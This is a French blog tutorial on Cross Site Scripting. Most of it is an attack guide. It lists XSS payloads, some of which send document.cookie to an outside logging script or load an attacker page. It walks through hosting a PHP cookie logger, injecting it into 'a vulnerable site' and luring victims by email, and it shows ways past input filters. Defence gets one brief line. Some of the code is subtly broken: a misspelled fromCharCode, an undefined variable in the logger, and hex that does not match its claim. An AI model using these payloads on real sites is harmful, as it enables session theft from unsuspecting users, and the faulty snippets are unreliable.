Don't Learn to Hack but Hack to Learn ***** Apprendre l'attaque pour mieux se défendre

dimanche 5 août 2012

Cross Site Scripting

Cross Site Scripting (XSS) :
1. Définition :

"XSS" est une abréviation pour «Cross Site Scripting» a l’origine CSS (Cross Site Scripting) changé pour ne pas confondre avec le CSS des feuilles de style (Cascading Style Sheet), Il s'agit de l'injection non prévue de code HTML ou JavaScript sur un forum de discussion, un livre d’or ou un chat ou une zone de recherche  d'un site Web qui ne filtre pas les  entrées (input).

En d'autres termes, l'attaquant peut injecter un script malveillant dans un site Web, et le navigateur exécute ce scripte

2. Les types XSS :

2.1.Reflected XSS:


Lorsque l'injection sera à la fin de l'url ou dans une zone de recherche, la faille n'affecte que l'ordinateur local, ce qui signifie que la page du site web n'est modifiée que pour un utilisateur précis. La chaîne entrée par l'internaute se retrouve affichée dans l'adresse URL du site web.

exemple:

search.php

<?php

echo $_GET['search'];

?>

xss.html

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" media="screen" type="text/css" title="Design" href="style.css" /> 
<title>XSS</title>
</head>
<body>
<h1 align="center" class="titre">FAILLE XSS</h1>
<form method="get" action="search.php">
   <textarea name="search" style="width: 436px; height: 102px"></textarea>
<p>&nbsp;</p>
   <input type="submit" class="button" value="Submit" />
   </Form>
   </body>

Comme vous pouvez voir que la variable $_GET['search'] n'est pas sécurisé donc quand l'utilisateur injecte un code malveillant JS, Il va exécuter.

2.2.Stored XSS :

Lorsque L'attaquant envoie le code au serveur (exemple, dans un forum Web) Le serveur le stocke et l'envoie tel quel au client lors de la génération et la visualisation de la page

Ce type XSS est le plus dangereux. Les informations entrées par l'utilisateur sont définitivement stockées dans une base de données. C'est par exemple le cas lors d'une inscription ou lors de l'envoi d'un message dans un forum, l'internaute rentre des balises HTML ou des scripts JavaScript, alors l'information sera stockée dans la base de données et restituée à tous les futurs internautes affichant le message posté sur le forum.

exemple
<?php
if(isset($_POST['s']))
{
$message=trim($_POST['textMessage']);
$name=trim($_POST['textName']);

$query = "INSERT INTO table (comment,name) VALUES (
'$message','$name');";
$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');
}
?>

les deux paramètres dans le code "message" et "name" ne sont pas désinfectés correctement, le, nous stockons ces paramètres dans la table le livre d'or, alors quand nous l'affichage de ces paramètres de retour du navigateur du client, il va exécuter le code malveillant JavaScript.

2.3 DOM XSS
Le problème est dans le script d'une page côté client. Par exemple, si un fragment  de JavaScript accède à un paramètre d'une requête d'URL, et utilise cette information  pour écrire du HTML dans sa propre page, et que cette information n'est pas encodée sous forme d'entités HTML, alors il y a probablement une vulnérabilité de type XSS.
 Les données écrites seront réinterprétées par le navigateur comme du code HTML contenant éventuellement un script malicieux ajouté.

exemple:

document.referrer

La propriété document.referrer est fixé par le navigateur et la page qui représente liée à la page en cours. Considérons le code HTML suivant:

<html>
    <head>
    <title>victim page</title>
    </head>
    <body>
    <p>
    Vous avez été envoyé ici par:<script>document.write(document.referrer);</script>
    </p>
    </body>
    </html>

Si la chaîne document.referrer contient du code JavaScript, ce code sera
 exécuté dans le contexte actuel. Pour exploiter ce type de vulnérabilité, un
attaquant doit avoir une page intermédiaire à partir duquel il relie à la page
vulnérables. L'attaquant envoie le lien de la page à la victime;

http://www.attacker.com/domxsspage.html?<script>lecode malveillant</script>

3.Détecter la faille :


Pour vérifier la présence d'une faille XSS, il suffit de faire passer un script dans une zone de recherche ou un formulaire, par exemple :
<script>alert("XSS Hacking");</script> qui provoquera l'affichage d'une boîte de dialogue,si cela ne fonctionne pas, il n'y a aucune raison de s'inquiéter,Cela signifie que le site web Utilise des techniques de filtrage pour éviter failles XSS, mais il ya des méthodes de détournement des filtre XSS qu'on va voir après.
4. Risques liés à XSS :

L'exploitation d'une faille de type XSS permettrait à un intrus de réaliser les opérations suivantes :
-Redirection de l'utilisateur.
-Vol d'informations, par exemple cookies.
-modification sur le site.
   

5. Comment exploiter la faille XSS :

Après la détection que le site qu'on veut attaquer est vulnérable, en exploitant la faille par injection d'un code complet JavaScript. Par exemple, laissez-nous d'entrée <script>alert ('HACKING') </ script> dans une zone de recherche par exemple, une boîte de dialogue s'affiche avec le mot HACKING. Donc, nous avons réussi à exploiter la faille XSS. En étendant le code avec un script malveillant, un pirate peut faire voler les cookies ou de défigurer le site et  encore plus.
6. Scriptes d'exploitation :

Premièrement voila quelques scriptes pour tester l'exploitation de la faille XSS :


<script>alert(12345)</script>
<ScRiPt>prompt(995041)</ScRiPt>
<script>alert(" test" ) ;</script>
« ><script>alert(1)</script>
<script>alert(document.cookie)</script>
<script SRC=http ://localhost/xss/cookies.php ?’+document.cookie></script>
<script>document.location=’http ://localhost/xss/cookies.php ?’+document.cookie</script>

<body onload="document.body.innerHTML='<h1>test !!</h1>';">
<script>document.documentElement.innerHTML="<h1>test !!</h1>";</script>


<META http-equiv="refresh" content="0;URL=http://www.evilesite.com">

<IFRAME WIDTH=100% HEIGHT=300 SRC="http://www.evilesite.com"></IFRAME>


%2BADw-script%2BAD4-alert(document.cookie)%2BADw-%2Fscript%2BAD4-


7.Exemple d’exploitation


71-vole de cookies
C’est quoi Un cookie ?
Un cookie en informatique c’est un petit bloc de données forgé par un site web et récupéré à la prochaine connexion. Un petit exemple : vous allez pour la première fois sur un site web, vous vous loguez et cochez une case «connexion automatique», un cookie est forgé, car à chaque fois que vous reviendrez sur le site web, vous serez logué automatiquement car le site web aura vu votre cookie ! Avec la faille XSS, nous pourrons voler le cookie de l’admin et le modifier, afin que le site web nous reconnaisse en tant qu’admin (Récupération des identifiants de session de l'admin Dans le cookie).

Etape 1: Création un fichier php qui va voler le Cookie


Maintenant créer un nouveau fichier et l'enregistrer comme log.txt (laisser en tant que vide). Ne changez pas le nom, c'est le nom du fichier
qu'on va l'utiliser dans le fichier php.

Maintenant, vous aurez deux fichiers;
1. voler.php
2. log.txt

Le fichier ci-dessus voler.php obtenir  le  cookie et stocke ces données dans le fichier log.txt.

<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('log.txt','a');
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
echo '<b>Désolé, cette page est en construction</b></br></br>SVP Cliquer<a
href="http://www.google.com/">ici</a> pour revenir à la page précédente ';
?>


Étape 2:
Inscrivez-vous en une zone d'hébergement Web gratuit et uploader les fichiers voler.php et log.txt dans le dossier racine.
donc notre fichier sera par exp à http://www.YourSite.com/voler.php.

Étape 3: exploitation de la vulnérabilité XSS
Jusqu'à présent, nous avons affiné notre scie. Maintenant, nous allons l'utiliser.
Une fois que vous mis en place tout, trouvé un site vulnérable, puis injecter le code suivant dans ce site.

Voici le code JavaScript que nous allons injecter dans le navigateur de la victime.


<a onclick="document.location='http://Yoursite.com/voler.php?
cookie='+escape(document.cookie);" href="#">Click here for Details</a>

ce script besoin d'interaction utilisateur, car il imprime un lien vers l'utilisateur, si l'utilisateur clique sur ce lien, la redirection vers votre site avec les informations du cookie sera effectué.

Donc l'attaquant doit envoyer le lien aux victimes par un email par exemple. Chaque fois qu'ils suivre le lien, sont cookie sera volé.  je vous laisse avec votre inélégance de piéger la victime afin de cliquer sur ce lien.
Remarque :
Vous pouvez encoder le script en entier dans le code HEX de sorte qu'il ne peut pas être filtré.
Par exemple: alerte <script> ("hack"); </ script> peut être convertir en hexadécimal comme suit:
%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

On aura donc www.site/xss/search?p=%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

cas pratique:
voire ce video

8.Solutions de (XSS)

8.1. Techniques de contournement de filtrage XSS :

Les filtres etles contrôles XSS c'est un problème pour ceux qui veulent exploiter la faille XSS, cependant y a des astuces pour détourner quelques filtres utilisé par les développeurs

8.1.1. La directive magic_quotes_gpc = On

Dans le fichier de configuration php.ini il ya une directive magic_quotes_gpc si elle est à On elle va ignorer <'>, <"> et <\> qui se retrouve dans les scriptes XSS, car ces scriptes contient ces caractères,et pour contourner ce filtre on utilse la fonction String.FormCharCode() mais  avantde l’utiliser il faut coder d'abord la partie de script xss qui contient les caractères non autorisés en ASCii . Si on veut utiliser le scripte <script>alert("XSS Hacking");</script> on doit coder XSS Hacking en ascii. Supposant qu'on trouve 112,132,134,111,122 , on utilise String.formCharCode() dans le script comme suit:

<script>alert(String.formCharCode(112,132,134,111,122));</script> pour éviter d'utiliser les guillemets "

8.1.2. Le codage par hexadécimal:
Nous pouvons encoder notre script en entier dans le code HEX de sorte qu'il ne peut pas être filtré.
Par exemple: alerte <script> ("hack"); </ script> peut être convertir en hexadécimal comme suit:
%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

Après,on injecte le code dans le site comme suit :
www.site/xss/search?p=%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

8.1.3. Obfuscation :

cette méthode est la plus faible, elle consiste à interdire les mots qui sont souvent utilisés dans les scriptes XSS (script, alert ,...etc) si par exemple les mot script, alert sont interdit,donc  ce cas on va réécrire le script de la manière suivante:

<ScRipT>AleRt("XSS Hacking");</ScRipT>

8.2. La solution la plus sécurisé :

Nous utilisons la fonction htmlentities() avec deux arguments :
- Le premier sera votre variable
- le second est ENT_QUOTES, pour transformer les quottes en « &quot; » et donc interdire les guillemets.

Exemple :
Code : PHP
$texte = htmlentities($_POST[‘texte’],ENT_QUOTES);

cas pratique:
voire ce video

2 commentaires:

  1. super votre article.
    Bon je profite pour faire un test :)

    RépondreSupprimer
  2. On dirait que tu as une faille XSS
    parce que ça interprète Mon code HTML :)

    RépondreSupprimer